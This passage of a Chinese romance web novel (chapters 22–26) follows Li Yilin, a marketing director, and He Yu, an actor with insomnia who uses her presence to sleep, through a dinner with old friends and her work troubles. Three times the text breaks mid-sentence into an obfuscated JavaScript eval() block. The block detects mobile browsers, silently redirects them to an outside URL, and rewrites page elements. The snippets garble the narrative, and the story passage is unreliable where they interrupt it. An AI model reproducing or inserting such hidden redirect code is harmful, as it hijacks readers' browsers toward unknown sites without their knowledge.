她内心的愤怒蔓延着，又想要伸手拥抱他。但最终，她什么都没做。因为她知道，这种叙述，不能被浅薄的安慰中断。 “我与父亲的隔阂，也始自那时。我恨他把我送到这么个地狱里去。但后来我明白，这一遭，他当年也或多或少经历过。” “……后来我的个子越长越高，我也在有意健身。我会把头发剪得很短，也会故意在烈日下跑步，锻炼毅力的同时晒深肤色。进入高年级后，我被越来越多的小团体接受，但这些并没有缓解我内心的压力。直到我开始表演。” 他歪过头来，任刘海垂落。他的眼睛看向伊林。 “失眠最严重的日子里，我甚至会产生幻觉。我依然被困在那所学校里，被扒光了衣服，被拳打脚踢，再被罩上冠冕堂皇的燕尾服，出现在存在主义哲学课上。……那些打我的人，会在同一个课堂上一本正经的讨论‘他人即地狱’，会竭尽全力营造他们博学多思的外部形象。然后，再回到宿舍折磨我。” 伊林再也忍受不住。她紧紧抱住他。 “……抱歉。不该跟你讲这些。但没办法，你是这个世界上唯一跟我签署保密协议的人。” “……没关系。你想对我说什么都可以。你的秘密在我这里是安全的。” 何屿伸出手来，覆盖着伊林拥抱他的手。 “逐渐加重的失眠让我丧失表演的能力。不能表演，又会让我的情绪阙值不断降低。这种恶性循环让我的事业变的越来越差，只能选择退出。” “……为什么不请一些心理治疗师？”伊林问他。那些年少时的伤害，长成萦绕不去的黑雾，缓慢绵长的侵吞着他的意志。他需要被外部力量拉出深渊。 “请过。但只要面对一个目的明确的人，我就无法打开我自己。”他露出自嘲的笑。那笑容是苦的。 “……你可以告诉我。虽然我并不知道应该回应些什么，但你可以告诉我。” 何屿抬起头，用额头抵住她。 “希望你不会对我感到幻灭。” “不会。”伊林很快回答他。“你忘了吗？是我救了你。我会对你负责。” 这句话逗笑了他。那笑容放松、温暖。 “……你会负责一辈子吗？” 伊林也笑了。她伸手抚摸他美丽的脸。 “他们不喜欢的这张脸，我喜欢了14年。这一生的时间，只要你想，我就对你不离不弃。” 何屿闭上眼睛再次拥抱她。这一次，他没有再说话。 23. 第 23 章 22 22 爵士乐轻快放松，是律思挑了一张TheloniousMonk放进黑胶唱机。两位老友带着一位年轻搭档与伊林凑成一桌，丝毫不见外的给彼此倒酒。 “你们肯定想不到我跟他是怎么认识的。”酒过三巡，暖场的话都说完，律思开始对着伊林和傅遥回忆往昔。 “怎么认识的？”伊林很捧场。 “……在意大利海滩。我那阵在一个小古典乐团混饭吃，晚上演出结束了就喜欢去海边待会儿。一连好几天我都看见有个帐篷，像个外星生物一样杵在一边。后来有一天，里面竟然有个人走出来，头发胡子混成一坨，像个流浪汉。”律思不怀好意看着何屿。“这位半夜出来买水喝的流浪汉先生呢，就是我们的大明星何屿。” 伊林饶有趣味看向故事的另一个主人公。何屿只管给自己倒柠檬水。 “……那阵我刚大学毕业，有一段没接到工作的空档期，跑到欧洲玩了几个月。” “少来。你那哪里是玩，我看是挑战每天一块钱极限生存。” “嗯。那时候真的确没什么钱。”何屿讲得轻描淡写，又吃一口草莓。“你们尝尝，很新鲜。”他用果盘岔开话题。 何屿也有他的窘迫期？伊林再一次知道了这位世家子弟不为人知的另一面。 “他买完水回来路过我身边，我就跟他打了个招呼，问他能不能去帐篷里坐坐。可能我那时候还穿着一身正装演出服吧，看起来不像个变态，他也就答应了。” 听到这里，何屿接过话茬。 “我没觉得你像好人，只不过想看看你究竟要找我干嘛。连着几天了，你都半夜坐我帐篷旁边。抱歉没告诉你，住帐篷的那半个月，我可是随身带刀的。” 律思摇摇头没理他。“你用不着带刀。你那一脸大胡子已经够吓人了。” “……你为什么要进人家帐篷？”年轻搭档傅遥问向律思。他表情像在看什么热闹，看起来像是故意的。 “……其实也没为什么，主要觉得他是个怪人，想惹他试试。没想到他就直接让我进去了。” 律思又喝一口酒，抬头懒懒看向何屿。“进去之后就发现，怪不得他要出去买水，他那个帐篷里啊，除了张床和一些简单的生活用品，真的什么都没有。我那阵倒真有点可怜他。但他倒很坦然，问我哪里人，在西西里做什么。谈话之间发现我们都会说中文，就开始用中文聊天，聊到中国一些城市和风俗。……也不知道怎么回事，聊到最后，约定了第二天我要请他吃饭。” “是你主动提的，我可什么都没说。”何屿难得主动澄清。 “……那不是把你当穷光蛋了吗，谁知道你是这么大的富二代啊。” 何屿又低头自嘲的笑，这一次他不接话。 “我好像在你ins上看到过你在海边跟一个大胡子的合影，所以竟然是何屿吗？”傅遥喝得双颊泛红去问他。 “对啊。那是等何屿拿过影帝之后我故意放出来的。看来你的粉丝也不怎么样嘛，到现在都没有半个人扒出来那是你。” “……是因为你Ins只有80个粉丝吧……”傅遥无情吐槽，收获律思白眼。而何屿只是微笑。 “……所以第二天，你请他吃饭了吗？”伊林将话题拉回来。 “当然。我以为他真是个穷光蛋来着，本着做好事的心态，请他去了一家当地有名的法国餐厅。饭桌上我虽然也有发现他礼仪很好，与外表有很大反差，但也没多往心里去，只顾着跟他瞎聊天。” “你们两个刚认识的，能聊些什么？”傅遥也好奇。 “聊可多啦。先开始他问我在意大利做什么，我说混混古典乐团，然后他就来了兴趣，跟我聊了好久古典乐。我问他来意大利干嘛的，他特有意思，说他是来旅游的。我爸法国人，我妈可是中国人，我在中国生活过好几年，没见过旅游旅成他这样的。” “……这有什么奇怪。典型背包客嘛。”何屿轻描淡写为自己解释。“只不过有人租沙发，有人搭帐篷。” “……随便你怎么讲。”律思挥了挥手，也不跟他争。“吃完饭之后呢，我还带他去看了我们乐团演出，顺便把他带回家睡觉……” 讲到兴头上的古典乐手发现，年轻搭档一脸八卦看着他。“胡思乱想什么呢？我睡床他睡沙发！”看着他有点气急败坏的样子，伊林也笑了。 “谢谢你啊，给我腾出个干净沙发。”何屿看起来颇有些真心实意，但另外几位都知道，他在唱反调。“为了让我睡你家沙发，还特地把我帐篷拆了。” “你为什么拆人帐篷？”傅遥一脸不可思议。 “……这不是海边要起风浪下大暴雨了，我喊他来我家住他不来，我就把他帐篷拆了。”律思也马上归回理直气壮：“我这不都是为了他好！” “是是是。”伊林前去圆场，递给律思一杯酒。“要不是你，何屿要被刮去海里喂鱼了。” “就是说呢。”律思接过酒喝一大口，再次看向憋笑的大明星。“我带这家伙住进自己家，给他管吃管喝，他倒好，也不怎么领情。……不过看在他基本睡不着觉的份上，我也就不跟他怎么计较。” 本来愉快的氛围，在此时出现裂痕。突然之间，伊林感到内心刺痛。 “……你带他回家，是多少年前的事了？” “大概……要有14年了。” 14年。何屿在失眠的折磨里，已经整整忍受14年。 “也不是完全睡不着。”何屿像是察觉了伊林的情绪。“在律思家里，我有一段时间睡得不错。” “那还不是因为sam在你身边！”律思又为自己倒了一杯酒，再向两位听众解释：“sam不是人，是何屿来我家一周后朋友送来寄养的金毛犬。很憨很可爱，特别喜欢粘着他。”回想起狗狗，律思整个人的表情都变得温柔了。 “……是。Sam陪着我睡了好长一段时间。”何屿低垂着眼睛。“直到他离开。” 律思亦陷入沉默。伊林因此知道，sam的离开，或许是死别。 “……sam走后，你也就走了。”律思看着他，再看向自己杯中酒。“你走之前把胡子都刮了，我才知道你小子长了一张这么漂亮的脸。” 听到这句话，何屿只是无奈的笑。“因为要回国接工作了，不能继续邋里邋遢的。” “走之前你倒是有点良心，带我去海岛中心的私人酒店吃饭兼度假。……但是我觉得吧，像我们这种人，更适合一顶帐篷住在沙滩上。” “是。所以我后来不是经常约你出来玩。” “……说起来，我们真去过不少地方……柬埔寨、泰国、英国、法国、西班牙、冰岛、瑞典……”回忆往昔，律思的表情很温暖。“……等会儿，怎么越想越不太对……为什么你每次来找我都一脸穷相？” 与律思疑惑而有些小气愤的表情不同，何屿笑得很开心。 “因为你不认识我啊，还一直觉得我没什么钱。” 律思无奈，自己又喝一杯酒。“是啊，每次你来找我要么挤在我家，要么一起打地铺住帐篷，要么住个不知名偏远小房子……说实话，我都不知道你从哪找来这些又老又旧的破房子。” “都是我爷爷买的。”何屿轻笑。“他这人什么都好，就是房产投资一塌糊涂。” 律思只管摇头，表情也变得愈发鄙夷。“你到底为什么要在我面前装穷？” “不是装穷。”何屿的表情柔和，但认真。“我只是觉得……你不认识我是谁，你很年轻，很自由，没有任何包袱，想去哪就去哪。我只不过在跟着你的生活走。” “……”听到这里，律思没有回答。他依旧托腮，静静看着何屿。 “我跟着你去剧团和乐团打工，演个大象的腿或者乐团最后面负责镲片的。下了班，跟着你和你的朋友讨论剧本和音乐，坐在凌晨还不关门的快餐店里吃吃喝喝。”何屿说着，他的声音变得很动听。“……或者跟着你去当服务员，忙里偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459258|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲偷点大厨刚做好的米其林上星美食吃。尽管会被打手，但大家也都很容忍我们……我喜欢打烊后，忙前忙后的后厨人坐在一块吃饭。食物的美好战胜了一切疲累。那是生命里难得会有的几个瞬间。” 律思依然安静看着他。“……可能对你来说只是一种体验，但那是大多数普通人在挣扎着生活。日复一日，年复一年。”他收回目光，喝下一口酒。“我怀疑你未必真的了解。” 何屿看向他的老朋友。“我们刚见面时，父亲因为我坚持做演员跟我断绝关系，剥夺我一切经济来源。后来每一次去找你，我身上都没有家里留下的任何资源。我在这个圈子里很长一段时间没有工作，也有很多试镜完全失败。……那时候，我只是一个挣扎在演艺圈的普通人。” 听完老友的自我剖白，律思没有再说话。他向何屿举起酒杯：“我干杯，你随意。” “你的失眠症……在跟律思到处跑的时候，会好些吗？”认真听故事的傅遥插进来问。 “非常累的时候，的确会好一些。”何屿回答。“特别是刚到一个新地方，谁都不认识我的时候，会睡得特别好。” “我记得你在伦敦西区小剧场里做群演那阵，每天回来倒头就睡。”律思插话。 “嗯。那时候……遇到一个人。”何屿目光有些闪躲。“与他多相处，就能睡得很好。” 一直在当倾听者的李伊林抬起目光，定定看向何屿。 “……为什么不留在对方身边？”她问他。 “他是伦敦当地人，一直梦想当演员，是个心里很纯粹的男孩。”何屿回忆着，试图说出更多。“……当时我们在排演一个很小的现代剧，剧作者是他的朋友，他很信任对方，觉得能跟着朋友一起向前走。我虽然是群演，但跟他住的很近，总是一起坐地铁，一来二去就熟了。” “……先开始，我们聊的也更多只是剧本相关，私人的事分享不多。大概两周之后，我发现跟他在一起，能让我睡得很好。所以我把这件事分享给他。他听着，觉得很兴奋，问我能不能把这个故事授权给他，让他的朋友以此为基础写成剧本。我说，可以，但不要跟真实的我有任何关联。他答应了，很兴奋的在地铁上打开笔记本做记录。他说等剧本出来，他的剧作家朋友一定会让他当主演。” “……两周之后，他给我看了一个初步写成的剧本。不得不说，他的朋友的确很有才华。我也恭喜他，即将在更大剧场里登台做主演。同时我也发现，他越期待、越开心，对我睡眠的正相关作用就越大。” “一切都在走向正轨，他也一直在等着收到剧本进入制作、邀请他去排演的消息。直到下个月西区演员群里收到新剧通告，《催眠》，计划在老维克大剧院上演，他才知道，主演……并不是他。” 音乐停止，没有人起身去换唱片。低沉的安静里，何屿的声音变得很轻，像在低语。 “……他的情绪被击垮了。虽然他依然坚持演完小剧排期，依然与我一起坐地铁回家，但我发现，在他身边，已经不能让我睡个好觉了。” “……我并不知道这究竟是出于什么，好像一个不再纯粹、不再快乐的人就不能带给我睡眠一样。这让我厌恶我自己。我一边劝他振作，做他的精神支持，一边眼睁睁看着自己再一次跌入失眠深渊。” 伊林看到，何屿的表情陷入痛苦。她不自觉握住他的手。 “小剧排期结束，我迫不及待与他道了再见。不知道出于何种原因，当时的我只想快点离开日渐消沉的他。……我们本应是朋友，但我却因为他不能再让我顺利入睡而只想离开。那是我第一次意识到，这场失眠症，已经逼着我把活生生的人当成工具。” 何屿的声音变冷。他移开伊林的手。 “……幸运的是，他后来成为了小有名气的英国演员。来上海宣传时，还特地通过经纪公司约我见面。那时的他看起来依旧纯真、快乐。但并没有使我睡着。那时我才明白，无可救药的人，其实是我自己。” 24. 第 24 章 24 消沉的沉默里，律思起身，去换一张MilesDavis.音乐响起，瘦高乐手回来坐在离何屿更近的位置。 “我没觉得你无药可救啊，你现在看起来气色很好。”律思故意伸手揽住他。“比我任何一次见你气色都好。……你是找到什么灵丹妙药啦？” 何屿握住律思搭在肩上的手。他转脸看向老友。何屿做了一个决定。 “是因为伊林。”何屿转过视线，看向李伊林。“是因为在她身边，我就能睡得很好。”他选择向最信任的朋友公开秘密。 律思与傅遥看向李伊林，看着何屿再次将她的手握紧。“……我正在努力将她留在身边。”他的眼眶湿润，嘴角又带有微笑。伊林甚至有一种感觉——这个漂亮男子，在借着此刻有利于他的环境力量，向她恳求。 “……我不会离开。”伊林脱口而出。这的确是她的心里话。但她依旧感受到压力——律思望向她的目光，甚至比何屿更专注。 “交给你了。”律思站起身来，拍拍伊林肩膀。“别被他那张过分精致的脸骗了。其实他这个人呐，一点不难养。” 气氛产生了变化，再次回归轻松愉快。何屿稍稍松开伊林的手，但并没有完全放开。 “我用不着别人养。”他跟老友拌嘴。或许是因为伊林的回答正中下怀，此时的他表情回归正常，看起来不再有任何担忧。 “倒也是。当年有几天还是你养着我。”律思继续调侃。他移开目光，不再看向李伊林。她的压力消失了。 虽然环境氛围没有任何变化，但伊林有一种令她自己都反感的内心感受。 一场戏演完了。 再喝几杯酒，墙上的复古钟表走到凌晨一点。“该回去了。”何屿对在场的三个人说。 “加个微信。”律思像没听见他的话，对着李伊林亮出二维码。 “没问题。”伊林掏出手机扫码加好友，无视何屿的无奈目光。 “我也加一下。“傅遥也来凑热闹。 “走了！“戴好帽子与口罩的何屿难得出手，将刚加完好友的李伊林拉起来。 律思也站起来，搀着伊林的另一边。“以后要常找我们玩儿，我们这儿有酒有朋友。” “知道。”伊林当然知道他在说什么。“我会把他带过来的。” 律思没有说话，只是笑。他将老朋友和新朋友送出爵士房。 “下次见。”他对他们郑重道别。 下次……或许又是很久之后了。但何屿并没有任何表现。他淡淡笑着，仿佛重见就在明天。 “下次见。”他挥手说了再见，带着伊林上了车。 系好安全带，何屿摘下口罩。他的侧脸显得冷静，完全不像刚刚经历了一场久别重逢的老友重聚，倒像完成一场早就定下的任务。 车子启动后，他转脸对伊林微笑，像变了个人，自然、亲切。 他握了一下她的手，再松开。“我们回家。”他说。 回到庭院，已过凌晨两点。各自冲好澡后，在大床上躺下。何屿很自然抱住伊林，好像这已经成了他被默许的亲密动作。 李伊林没有挣扎，但也并未回抱。那种被算计的感觉并未远离她。 “伊林。”在离他很近的地方，身边男子低声呼唤她。 “嗯。”她只是简短回应，不带任何感情。 “……你喜欢我，对吗？” “……是的。”不知为何，李伊林并没有心跳加速。或许是因为她知道，这并非是将要心意相通。这只是……何屿在验收成果。 “……我以为像你这样的聪明女孩至少会明白，远离这个圈的人。” 何屿依旧拥抱着她。但这句话，出乎伊林意料之外。 “……你是吗？是这个圈里的人？”她反问他。 “你认为我不是？” 我认为你不是。你是演员，你不混娱乐圈。但伊林选择不说真心话。她决定陪着何屿演下去。 “……按照你的习性，你如果自认是圈里人，对我更有利。” “怎么说？” “因为你太爱惜羽毛了。你不想让自己陷入漩涡。” 何屿轻笑。“但对你，我尽可以大胆一些。” “……怎么说？” “你比我更怕失去你的职业生涯。” 伊林快速理解，并重复他说过的那句话。 “我们的关系是被陪伴协议和代言合同清洁过的。所以尽可以对对方丑态毕现。” 何屿更进一步，伸出手来，轻轻抚摸她的头发。“是吗？可我并不想让你看到我丑陋的一面。” “嗯。因为你害怕我对你幻灭，因此走掉。”伊林明白，何屿害怕她不再喜欢他，那会让他再度陷入毁掉一切的极端失眠。 何屿没有说话。他只是将伊林搂入怀中。而后他开口说话。 “是这样的。你尽管对我提要求，我会尽力维持你的这份喜欢。” 伊林笑了。何屿很聪明。他毫不掩饰他对伊林的算计，这样反而扳回一局。 “……好。从现在起，我有任何要求，都会直接提给你。”她说。 “现在我对你的要求是，停止说话，好好睡觉。”她给他下最后通牒。 “好好好。”何屿轻笑着，将她越发搂得紧些。“睡了，晚安。” “晚安。”伊林内心不舒服的感觉变淡了。她伸手回抱爱上的男子，找好舒适的位置，进入睡眠。 很难得的，一夜无眠。伊林醒来时身边无人。遮光窗帘被关得很紧，只能从墙上电子钟里看到，已是上午接近十一点。伊林从床上坐起，按亮手机，是何屿发来信息：醒来有空的话，来片场找我。 伊林没有立刻回复。她忽然心生叛逆：对何屿来说，自己的感情已是明牌。但对方从头至尾没有表明过对她有感情。也对，他并不喜欢她。他也没有对此说谎——何屿的一切所作所为，都只是为了留下她在身边当好陪睡员。 伊林穿上拖鞋走下床铺，拉开窗帘，在满地阳光中推开窗户。微风吹拂，空中有花香。是非常完美的新年假日。 冲好澡之后，伊林下楼热好早餐，端去庭院独自享用。她坐在草木之间，享受难得独处的时间。她给自己半小时，什么都不想，什么都不做。 午间12点，李伊林上二楼拿起手机，回复何屿「起来了，现在去。」她是在用延长回复的办法，强迫自己不要对他言听计从。 只是这种自我隔离真的有效吗？只要她持续与何屿见面，只要何屿继续对她得寸进尺的亲密接触，李伊林就无法遏制自身的情感生长。而她心里明白，何屿对她过去，现在， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459259|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未来，都不会产生感情。她内心比谁都清楚一个既成事实：他们不是一个世界的人。 从庭院去往片场，一个小时左右的车程。开车期间，伊林独自一人在一个密闭空间内经过罕无人迹的大片原野。她不断的回想，回想与何屿见面的每一次细节。何屿对她的主动接近，袒露，倾诉，拥抱……他就像早已预谋好这一切步骤，缓慢而无所察觉得将伊林装入密不透风的透明罐子里为他所用。就像现在，只要他一招手，就算李伊林已经清楚知道了他的所有把戏，她依旧会尽她所能，满足他的一切需求。尽管这会让她自厌而受伤，但她无法拒绝。 在矛盾起伏的心情中，车子开到目的地。伊林下车，走向片场。场务会与她点头示意，主动告知她何屿正在拍摄今日第八镜。或许在她无可预测的背后八卦场，她与何屿早就结成什么不能明说的亲密关系。亦或许，这背后也有方华的推波助澜。对何屿来说，长时间藏匿与李伊林的关系无疑于为他的事业不断埋雷。这也是项英琦早就做过的判断。如何一边让李伊林对他“言听计从”，一边在背后舆论场建好预设，并在某一天让李伊林接受成为何屿实际上不是女友的“女朋友”，并对大众公开，才是保障何屿事业与生活均不受损的最佳方案。 至此，李伊林已经完全厘清何屿在这一个月里，循序渐进亲密行为的背后目的。伤心吗？也并没有。互相利用本就是名利场的金科玉律。何屿亦早已表明，李伊林可以向他提出等价交换的个人要求。除了个人情感，名与利，他都可以给。伊林对他的喜欢，也并非他主动要求，相反，或许对他会形成累赘。但他从未表现分毫。他与他的身边人，都对李伊林表现出了绝对体面。 解开思绪，走入何屿专用工作室，大监视器第一排依旧为她留有位置。方华依旧在角落手机电脑不离手，凯西依旧关注镜头在笔记本上奋笔疾书。她们均未注意到她的到来。 伊林在屏幕前安静坐下，看往镜中何屿。他饰演一个野心勃勃、面具九种的青年创业者。此时此刻他所展现在镜头中的精明强悍，对伊林来说，不再陌生。 12点半，放饭时间到。下戏的何屿和刚到的英琦带着工作室一起去附近餐厅吃饭。饭后何屿与伊林回到休息室，对她提出想在英琦的两小时单人戏份里稍稍补眠——毕竟他昨晚只睡了三小时。伊林没有拒绝，自然也知道了他为什么一早就发来微信。这就是他一贯以来的目的不是吗？带给他休息，好让他完成每日工作与生活任务。她会满足他。 关好窗帘，伊林躺到床上，任何屿拥她入怀。白日黑暗中，男子很快入睡。确认他已进入深度睡眠，伊林轻轻移开他的手臂，起身坐回沙发上。她稍稍拉开窗帘缝隙，打开电脑，开始写作。 两个小时后，表铃响起。何屿被叫醒，懵懂睁开眼睛。在只有浅浅一线的午后阳光里，伊林看见他对身边无人所表现出的一瞬失落。而后他孤独失焦的目光对准伊林。在看到她的瞬间，他一双漂亮眼睛变得生动。那是一种找到安全感的最原始的表情。 他从床上坐起来，有些急促的赤脚走向她。接下来，他把她扑倒在沙发上。 “不要离开我。”他在她耳边说说话。没睡醒般的梦呓一样，明显在撒娇。 “……不会的。”伊林闭上眼睛回抱住他。在他甜蜜需索的亲密接触里，她任自己堕落。 25. 第 25 章 25 周日晚上，伊林回到上海。离家近十天，卧室床上甚至已经有了灰尘的味道。她扫除地面浮尘，换掉床单，再去冲洗自己。吹干头发躺进床铺，已经凌晨三点。她按下屏幕中亮起的微信信息提示，是何屿在一小时前发来信息。「睡了么？我准备睡了」或许是见她没有回复，以为她已进入睡眠，他又发了一条：「晚安。」 伊林无法阻止自己嘴角上翘。在到达上海刚刚落地时，手机里第一条收到的微信是何屿，让她落地报平安。接到的第一个电话是何屿安排的接机司机。回到家中，门外放着刚送来的夜宵外卖，点餐人是“何先生”。除了对她无法产生感情，何屿的一切行为举止，已与男友无异。 她考虑再三，没有回复。她担心信息震动或者屏幕光亮会影响他的睡眠。毕竟今晚，已无李伊林这个“安眠药”陪伴身边。 “晚安。”她对着何屿的对话框轻声说。然后她熄灭手机屏幕，在空中阁楼独自入眠。 次日清晨，伊林很早醒来。是周一的早间失眠。离开一周，今日晨会不知又会有何种突发问题。很多年持续的压制烦躁的耐心有些失灵，伊林甚至想请假。 也只能是想想。逃得了今日，逃不过明天与之后的每一天。 在表铃响起之前，李伊林慢吞吞从床上坐起。她关掉手机闹铃，去浴室冲热水澡，完成净化一般的快速清醒。接下来是养护、化妆、换装、伪装。 新的一天开始了。 周一例会，伊林对何屿代言人项目目前进展做了整体汇报，TVC本周四会出Acopy.很难得，传播方案汇报一遍过。以往会联合提各种问题的产品线VP均无异议。伊林有一种很不好的感觉，这么大的项目，平日做惯了一级团队的品牌组无人挑战，大概率是私下联合有动作。这种暗地里的动作伊林无从预测，只能将本组工作做好，随时应对。 周二本组工作汇报，解决伊林不在的一周内组出现的所有问题。不出所料，大部分均是品牌组对接问题，一如既往随便插手各平台传播方案的同时，把不想做的脏活累活加塞传播组。或许是远离工作环境再回来的“真空期”所致，伊林忽然觉得不想再忍耐。在此之前，她大概率会成为下属的“安慰剂”，听组内吐槽，点点奶茶，做足“精神按摩”，再劝导下属将项目做完。但是这一次，组内周会结束后，伊林按照产品线约了品牌VP，对他们说明传播组是品牌组平行团队而非服务团队，请在之后的工作中做好组内权责划分。 这是进入利希斯的四年间，李伊林第一次如此强硬。虽然她的用词语气依然是温和客观的，但对方能听出她言语背后秉持的强硬态度。她知道这是任性的，大概率会让她的风评变差。但这一切对于现在的她而言，都没有什么所谓。 品牌VP自然装作从不知道团队下属会对传播组如此不客气，每一位都承诺会与本组组员重新制定横向团队沟通流程。伊林清楚的明白，这些都只是面子上的客套话。通过手中权力打压一向作品精良出圈的传播组，是所有品牌组VP私下的默契共识。毕竟市场部通盘预算就那么多，联合打压手握预算大部头的传播组，就能给品牌组夺来更多资源。 伊林一直忍气吞声，一是因为品牌组可以随意挪动传播组预算，另一个是因为CMO一直对品牌组打压横向团队装聋作哑——毕竟是他亲手将品牌团队所有实权分裂出来，交给传播组、公关组、活动组，以及大区零售。如果不让品牌组对各个职能组撒气，那么所有火气都会转移到他这位始作俑者身上。 这种复杂局面并非伊林一人所能改变，一向崇尚“通力协作”的企业文化更是不容传播组不接品牌组下来的任何离谱需求。四年间，伊林在这个公司实现了自己的快速跃升。但现在她好像突然发现了一个从未被注意到的事实：她与她的团队并不受尊重，她身为最年轻的高级总监，过得也并不快乐。 作为一个习惯为事业完全奉献的职场人，李伊林从未计算过一份工作除过履历与报酬之外的其他得失。在职场上谈快乐？只有一种可能：没有摆正自己的位置。 回到办公室后，她将半透明玻璃门关闭。这一般是在电话会议中才会有的举措，但在这个接近日落的黄昏，李伊林选择独自这么做。 她靠在并不算很大的落地窗前，回想在林中时，看着何屿所饰演的精灵在阳光中漫步。那天的夕阳也是如此将世界染成最温暖的橘，只是心情却是完全不同的。没有繁琐的汇报流程，更没有龌龊的人际关系，那是一个十分纯粹的工作时间——他们是在创造纯粹的美。 每一位欧洲工匠细致打磨的作品，都附着在精灵对完美之美最为真诚的赞美之上。镜头记录下的不再是商业社会的一条价签，而是在购买与金钱背后，那些幻想与憧憬被拥有的时刻。它仅有一瞬，却为每一个观看者带来最纯粹的快乐。 太阳渐渐落下去，最温暖的瞬间被逐渐发暗的天空吞噬。这是每天都会发生的景色，无可避免。每一天都会过去，无论是完美如精灵，还是烦躁如今日，都不会再更长的时空中留下什么。但伊林知道的是，一旦尝试过快乐、纯粹与温暖，以前习以为常的不公与龃龉，突然之间，就变得无可忍耐。 伊林回到办公椅上坐下。感应灯亮起，玻璃门被敲响。下一个会议开始了。 最后一个汇报会结束，已是晚上9点。伊林快速收拾好随身包，从电梯里逃出去。 整整一天，何屿都并未联系她。李伊林知道自己的坏心情有很大一部分来自于分离焦虑。但在她心中自始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459260|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至终有一条准则：不主动联系何屿。她对何屿的感情越深，越要时刻铭记对方对她所持有的一贯态度。不主动发起联系，就是不自发表达感情。这种对自我的深度抑制，是伊林在情感象限最有效的自保措施。 到家之后，伊林直接将手机和包丢在玄关桌，脱了鞋子进浴室冲澡。热水澡是最有效的安慰剂。她被热水包围着，冲刷掉无可奈何的隐忍与人际倾轧的烦躁。她依然无可抑制的想到何屿。在被亚热带植物包围的隐秘庭院里，那个被全世界知晓的男子，每一晚都躺在她的怀抱里。 冲洗干净身上泡沫，伊林关掉热水，囫囵吹干头发套好睡衣，一头扎进床铺里。快睡着之前，她忽然想起上了表铃的手机还被扔在门厅，又爬起来去拿手机。按亮屏幕之后发现有几条何屿的语音信息，伊林睡意全无，在原地站了几秒，又抱着手机回到床上。 在静谧的黑暗中，她放大音量，点开那些绿色的小语音条。如同被存储的魔法被放出，是她日思夜想的，温和、低沉的，他的声音。 「伊林……，下班了吗？我还有最后一条要拍。」 「……今天赶戏，没来得及给你点外送，记得吃晚餐。」 「我要去拍摄了，这一条是长镜头，拍完估计要到凌晨。先说一声晚安……」 「伊林，我很想念你。好梦。」 听完最后一条语音，伊林耳中只剩下自己的心跳。这是李伊林在十天陪伴之后离开他的第一天，他对她的想念，不会来自于极端失眠的生理需要。他想念李伊林所带来的什么？不再烦忧的睡眠？得以倾诉的往事？还是终于有人陪伴的温暖？ 如果……如果，何屿真的也喜欢上了她，为什么他在得知伊林感情的情况下，依然不回应、不表白？ 李伊林想不明白。这种不明不白的示好与暧昧已经折磨了她很久。她甚至想在此刻飞去何屿身边，看着他的眼睛问他，是否对自己有感情。但她更明白一件事：何屿的目的，是将李伊林完完全全收至笼中。这些越发亲密暧昧的“情感控制”，是他计算好的下一步吗？ 李伊林让自己冷静下来。她躺回羽绒被中，让心跳慢慢平复——她正在为自己建立一座心塔，这座高塔有着高耸的塔尖与塔檐，层层叠叠将她的真心包裹起来。就算已将感情完全暴露，她依旧可以建立一道更坚固的屏障。在这道屏障之外，她可以像何屿一样，不带真心的去拥抱，去暧昧，去表达。 她正在训练自己成为另一个何屿。 「刚看到，冲好澡准备睡了。你也注意休息，收工后尽快回去睡。一夜好梦，我也同样想念你。」 李伊林不带感情敲完这段话，利索点击“发送”。然后她按灭手机，将它塞进枕下。 她逼迫自己进入睡眠。 26. 第 26 章 26 26 周一到周四，代言人官宣方案让李伊林忙成陀螺，平均每日下班时间超过10点。与方华的对接频率变高，几乎每日都有密集的线上沟通或会议。有几次线上会议，何屿会时不时出现在方华身边，与她当场确认一些细节。在双方交流时，他会认真看向屏幕。但也时间不长，他更像个屏幕幽灵，无理由的出现，无预兆的消失。这样的他让伊林觉得……很可爱。 每晚下班，伊林都会接到何屿的语音信息。他好像知道伊林的下班时间，每天都会在她睡前发送语音。大多是一些日常，有时候会是印象深刻的一句台词。每天的结束语却都一样：毫不掩饰对她的想念。 听何屿的声音，已经成了这一周之间，伊林的睡前安慰剂。她与何屿好像变成了反向关系——分离之后，何屿成了李伊林的“语音陪睡员”。 伊林从未语音回复过他，她更喜欢打字。她喜欢用或者简洁，或者优美，或者工整，或者诗意的文字表达自己。她会将睡前看到的诗句发给何屿。 